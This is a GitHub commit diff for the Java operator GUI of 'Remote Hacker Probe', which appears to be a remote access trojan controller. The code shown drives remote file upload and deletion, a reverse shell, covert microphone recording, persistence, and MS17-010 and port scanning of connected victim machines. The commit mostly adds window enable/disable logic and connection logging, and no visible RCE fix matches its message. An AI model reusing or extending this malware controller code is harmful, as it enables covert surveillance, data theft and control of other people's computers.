Skip to content

Commit d9b3873

Browse files
committed
Fixed RCE Vuln
1 parent f205891 commit d9b3873

File tree

11 files changed

+355
-153
lines changed

11 files changed

+355
-153
lines changed

gui/src/main/java/rhp/FileManager.java

+31
Original file line numberDiff line numberDiff line change
@@ -51,8 +51,11 @@
5151
import javax.swing.JComboBox;
5252

5353

54+
55+
5456
class IconRenderer extends DefaultListCellRenderer {
5557

58+
5659
String[] video_ext = {
5760
"mp4",
5861
"avi",
@@ -253,14 +256,29 @@ else if(Arrays.asList(txt).contains(ext))
253256

254257

255258
public class FileManager extends JDialog {
259+
260+
256261

257262
public final static JPanel contentPanel = new JPanel();
258263
static JList FileList;
259264
public int CLIENT_ID;
265+
public static StringBuilder SelectedFile = new StringBuilder("");
260266
public static JTextField textField;
261267
public static DefaultListModel model;
262268
public static List<String> driveslist = new ArrayList<String>();
269+
270+
public static Boolean FileMgrOpen = false;
271+
272+
public static void DisableFileManager()
273+
{
274+
FileManager.FileList.setEnabled(false);
275+
}
263276

277+
public static void EnableFileManager()
278+
{
279+
FileManager.FileList.setEnabled(true);
280+
}
281+
264282
/**
265283
* Create the dialog.
266284
*/
@@ -278,6 +296,8 @@ void Refresh()
278296

279297

280298
public FileManager() {
299+
300+
MainWindow.HaltAllSystems();
281301
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
282302
setTitle("Remote Hacker Probe | File Manager");
283303
setBounds(100, 100, 761, 410);
@@ -318,6 +338,8 @@ public void actionPerformed(ActionEvent e) {
318338
String File = (String) FileList.getSelectedValue();
319339
if(!File.startsWith("(^)")) {
320340
String filename = File.replaceAll("\\(.*?\\) ?", "");
341+
SelectedFile.replace(0, SelectedFile.length(), filename);
342+
321343
Server.SendData(Server.Clients.get(CLIENT_ID), "fupload:"+filename);
322344
ServerThread.WaitForReply();
323345
}
@@ -390,6 +412,7 @@ public void actionPerformed(ActionEvent e) {
390412
{
391413
String File = (String) FileList.getSelectedValue();
392414
if(!File.startsWith("(^)")) {
415+
SelectedFile.replace(0, SelectedFile.length(), File);
393416
String filename = File.replaceAll("\\(.*?\\) ?", "");
394417
Server.SendData(Server.Clients.get(CLIENT_ID), "delete:"+filename);
395418
ServerThread.WaitForReply();
@@ -416,6 +439,7 @@ public void mouseClicked(MouseEvent evt) {
416439
String dir = (String) FileList.getSelectedValue();
417440
if(dir.startsWith("(^)")) {
418441
String Dirname = dir.replace("(^) ", "");
442+
SelectedFile.replace(0, SelectedFile.length(), dir);
419443
Server.SendData(Server.Clients.get(CLIENT_ID), "cd");
420444
Server.SendData(Server.Clients.get(CLIENT_ID), Dirname);
421445
Refresh();
@@ -438,6 +462,7 @@ public void actionPerformed(ActionEvent e) {
438462
btnGo.addActionListener(new ActionListener() {
439463
public void actionPerformed(ActionEvent e) {
440464
String Dirname = textField.getText();
465+
SelectedFile.replace(0, SelectedFile.length(), Dirname);
441466
Server.SendData(Server.Clients.get(CLIENT_ID), "cd");
442467
Server.SendData(Server.Clients.get(CLIENT_ID), Dirname);
443468
Refresh();
@@ -505,6 +530,12 @@ public void actionPerformed(ActionEvent e) {
505530
public void windowOpened(WindowEvent we) {
506531
Server.SendData(Server.Clients.get(CLIENT_ID), "listdir");
507532
}
533+
534+
@Override
535+
public void windowClosed(WindowEvent we) {
536+
FileMgrOpen = false;
537+
MainWindow.EnableAllSystems();
538+
}
508539
});
509540
}
510541
}

gui/src/main/java/rhp/MainWindow.java

+4-18
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ public boolean isCellEditable(int row, int column) {
8181
};
8282
static JTextArea LogArea = new JTextArea();
8383
public static JTable table;
84-
public static JLabel onlinelabel;
84+
public static JLabel onlinelabel = new JLabel("");
8585
static JLabel userlbl = new JLabel("User : ");
8686

8787
/**
@@ -145,31 +145,16 @@ public static Double GetLongitude(int CLIENT_ID)
145145

146146
public static void HaltAllSystems()
147147
{
148-
if(FileManager.FileList != null){
149-
FileManager.FileList.setEnabled(false); // Disable The File Manager
150-
}
151148

152-
if(Shell.ShellOutput != null);
153-
{
154-
Shell.ShellOutput.setEnabled(false); // Disable Shell
155-
}
156-
table.getSelectionModel().clearSelection();
149+
//table.getSelectionModel().clearSelection();
157150
table.setEnabled(false); // Disable the Main Table too!
158151
}
159152

160153
public static void EnableAllSystems()
161154
{
162-
if(FileManager.FileList != null)
163-
{
164-
FileManager.FileList.setEnabled(true); // Enable The File Manager
165-
}
166-
167-
if(Shell.ShellOutput != null)
168-
{
169-
Shell.ShellOutput.setEnabled(true); // Enable Shell
170-
}
171155
table.setEnabled(true); // Enable the Main Table too!
172156
}
157+
173158
public static void Log(String text)
174159
{
175160
String timeStamp = new SimpleDateFormat("HH:mm:ss").format(new Date());
@@ -479,6 +464,7 @@ public void actionPerformed(ActionEvent arg0) {
479464
Server.SendData(Server.Clients.get(index), "drives");
480465
ServerThread.WaitForReply();
481466
FileManager dialog = new FileManager();
467+
FileManager.FileMgrOpen = true;
482468
dialog.CLIENT_ID = table.getSelectedRow();
483469
dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
484470
dialog.setVisible(true);

gui/src/main/java/rhp/MicRecorder.java

+14
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,8 @@
1515
import java.awt.event.ActionListener;
1616
import java.awt.event.ItemEvent;
1717
import java.awt.event.ItemListener;
18+
import java.awt.event.WindowAdapter;
19+
import java.awt.event.WindowEvent;
1820
import java.text.SimpleDateFormat;
1921
import java.util.Date;
2022
import java.util.concurrent.TimeUnit;
@@ -29,6 +31,7 @@ public class MicRecorder extends JDialog {
2931
static JLabel lbl ;
3032
static JToggleButton jtb;
3133
public static int CLIENT_ID;
34+
public static Boolean MicRec = false;
3235
/**
3336
* Launch the application.
3437
*/
@@ -95,6 +98,8 @@ public void run()
9598
* Create the dialog.
9699
*/
97100
public MicRecorder() {
101+
102+
MainWindow.HaltAllSystems();
98103
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
99104
setResizable(false);
100105
setTitle("Remote Hacker Probe | Mic Recorder");
@@ -116,6 +121,7 @@ public MicRecorder() {
116121

117122
jtb.addItemListener(new ItemListener() {
118123
public void itemStateChanged(ItemEvent ev) {
124+
MicRec = true;
119125
if(ev.getStateChange()==ItemEvent.SELECTED){
120126
Server.SendData(Server.Clients.get(CLIENT_ID), "micstart"); // send instruction to start mic recording
121127
// expect no reply
@@ -142,6 +148,14 @@ public void itemStateChanged(ItemEvent ev) {
142148

143149
contentPanel.add(jtb);
144150

151+
addWindowListener(new WindowAdapter() {
152+
153+
@Override
154+
public void windowClosed(WindowEvent we) {
155+
MainWindow.EnableAllSystems();
156+
}
157+
});
158+
145159

146160
}
147161
}

gui/src/main/java/rhp/MsgBox.java

+11
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,8 @@
1212
import javax.swing.JTextField;
1313
import javax.swing.JComboBox;
1414
import java.awt.event.ActionListener;
15+
import java.awt.event.WindowAdapter;
16+
import java.awt.event.WindowEvent;
1517
import java.util.concurrent.TimeUnit;
1618
import java.awt.event.ActionEvent;
1719
import javax.swing.SwingConstants;
@@ -28,6 +30,7 @@ public class MsgBox extends JDialog {
2830
* Create the dialog.
2931
*/
3032
public MsgBox() {
33+
MainWindow.HaltAllSystems();
3134
setResizable(false);
3235
setTitle("Remote Hacker Probe | Message Box");
3336
setBounds(100, 100, 421, 217);
@@ -98,5 +101,13 @@ public void actionPerformed(ActionEvent e) {
98101
btnNewButton.setFont(new Font("Calibri", Font.PLAIN, 12));
99102
btnNewButton.setBounds(300, 147, 89, 23);
100103
contentPanel.add(btnNewButton);
104+
105+
addWindowListener(new WindowAdapter() {
106+
107+
@Override
108+
public void windowClosed(WindowEvent we) {
109+
MainWindow.EnableAllSystems();
110+
}
111+
});
101112
}
102113
}

gui/src/main/java/rhp/NetworkScanner.java

+19
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@
44
import java.awt.Font;
55
import java.awt.event.ActionEvent;
66
import java.awt.event.ActionListener;
7+
import java.awt.event.WindowAdapter;
8+
import java.awt.event.WindowEvent;
79
import java.io.File;
810
import java.io.FileWriter;
911
import java.io.IOException;
@@ -53,6 +55,8 @@ public class NetworkScanner extends JDialog {
5355
JTabbedPane tabbedPane = new JTabbedPane(JTabbedPane.TOP);
5456
Boolean isActionRunning = false;
5557

58+
public static Boolean NetworkScanRunning = false;
59+
5660
/**
5761
* Create the dialog.
5862
* @return
@@ -127,6 +131,7 @@ void ScanPort(String TargetIP)
127131
setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE);
128132
MainWindow.HaltAllSystems();
129133
isActionRunning = true;
134+
NetworkScanRunning = true;
130135
progressBar_1.setIndeterminate(true);
131136
List<String> lines;
132137
try {
@@ -146,13 +151,15 @@ void ScanPort(String TargetIP)
146151
isActionRunning = false;
147152
MainWindow.EnableAllSystems();
148153
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
154+
NetworkScanRunning = false;
149155
}
150156

151157
void EScanIp(ArrayList<String> localArray)
152158
{
153159
setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE);
154160
MainWindow.HaltAllSystems();
155161
isActionRunning = true;
162+
NetworkScanRunning = true;
156163
for (int counter = 0; counter < localArray.size(); counter++) {
157164
// System.out.println(localArray.get(counter));
158165

@@ -170,6 +177,7 @@ void EScanIp(ArrayList<String> localArray)
170177

171178
EModel.addElement("MS17-010 Scan finished.");
172179
isActionRunning = false;
180+
NetworkScanRunning = false;
173181
MainWindow.EnableAllSystems();
174182
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
175183
}
@@ -179,6 +187,7 @@ void ScanIp(ArrayList<String> localArray)
179187
setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE);
180188
MainWindow.HaltAllSystems();
181189
isActionRunning = true;
190+
NetworkScanRunning = true;
182191
progressBar.setIndeterminate(true);
183192
for (int counter = 0; counter < localArray.size(); counter++) {
184193
// System.out.println(localArray.get(counter));
@@ -199,11 +208,13 @@ void ScanIp(ArrayList<String> localArray)
199208
progressBar.setIndeterminate(false);
200209
NsModel.addElement("Scan finished.");
201210
isActionRunning = false;
211+
NetworkScanRunning = false;
202212
MainWindow.EnableAllSystems();
203213
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
204214
}
205215

206216
public NetworkScanner() {
217+
MainWindow.HaltAllSystems();
207218
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
208219

209220
setResizable(false);
@@ -641,6 +652,14 @@ public void actionPerformed(ActionEvent e) {
641652
MainWindow.addPopup(PList, jp2);
642653
MainWindow.addPopup(eternalscanoutput, jp3);
643654
MainWindow.addPopup(hsoutput, jp4);
655+
656+
addWindowListener(new WindowAdapter() {
657+
658+
@Override
659+
public void windowClosed(WindowEvent we) {
660+
MainWindow.EnableAllSystems();
661+
}
662+
});
644663

645664
}
646665
}

gui/src/main/java/rhp/Persist.java

+10
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@
1313
import java.awt.Font;
1414
import java.awt.event.ItemEvent;
1515
import java.awt.event.ItemListener;
16+
import java.awt.event.WindowAdapter;
17+
import java.awt.event.WindowEvent;
1618
import java.util.concurrent.TimeUnit;
1719

1820
import javax.swing.JLabel;
@@ -36,6 +38,7 @@ public class Persist extends JDialog {
3638
* Create the dialog.
3739
*/
3840
public Persist() {
41+
MainWindow.HaltAllSystems();
3942
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
4043
setTitle("Remote Hacker Probe | Persistence");
4144
setResizable(false);
@@ -224,5 +227,12 @@ public void actionPerformed(ActionEvent e) {
224227
keyname.setBounds(75, 165, 220, 26);
225228
contentPanel.add(keyname);
226229
keyname.setColumns(10);
230+
addWindowListener(new WindowAdapter() {
231+
232+
@Override
233+
public void windowClosed(WindowEvent we) {
234+
MainWindow.EnableAllSystems();
235+
}
236+
});
227237
}
228238
}

gui/src/main/java/rhp/Server.java

+1
Original file line numberDiff line numberDiff line change
@@ -159,6 +159,7 @@ public void run() {
159159
while(true) {
160160
try {
161161
clientsocket = mainsocket.accept();
162+
System.out.println("[INFO] New connection from : " + clientsocket.getRemoteSocketAddress().toString());
162163
Clients.add(clientsocket);
163164
MainWindow.UpdateOnlineLabel();
164165
getInformation();

gui/src/main/java/rhp/Shell.java

+3
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,8 @@ public class Shell extends JDialog {
3737
JButton ShellGo;
3838
JLabel interact = new JLabel("");
3939
public Shell() {
40+
41+
MainWindow.HaltAllSystems();
4042
setResizable(false);
4143
setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);
4244
setTitle("Remote Hacker Probe | Reverse Shell");
@@ -144,6 +146,7 @@ public void windowOpened(WindowEvent we) {
144146
public void windowClosed(WindowEvent e) {
145147
Shell.ShellOutput.setText("");
146148
MainWindow.Log("Reverse Shell closed.");
149+
MainWindow.EnableAllSystems();
147150
}
148151
});
149152
}

0 commit comments

Comments
 (0)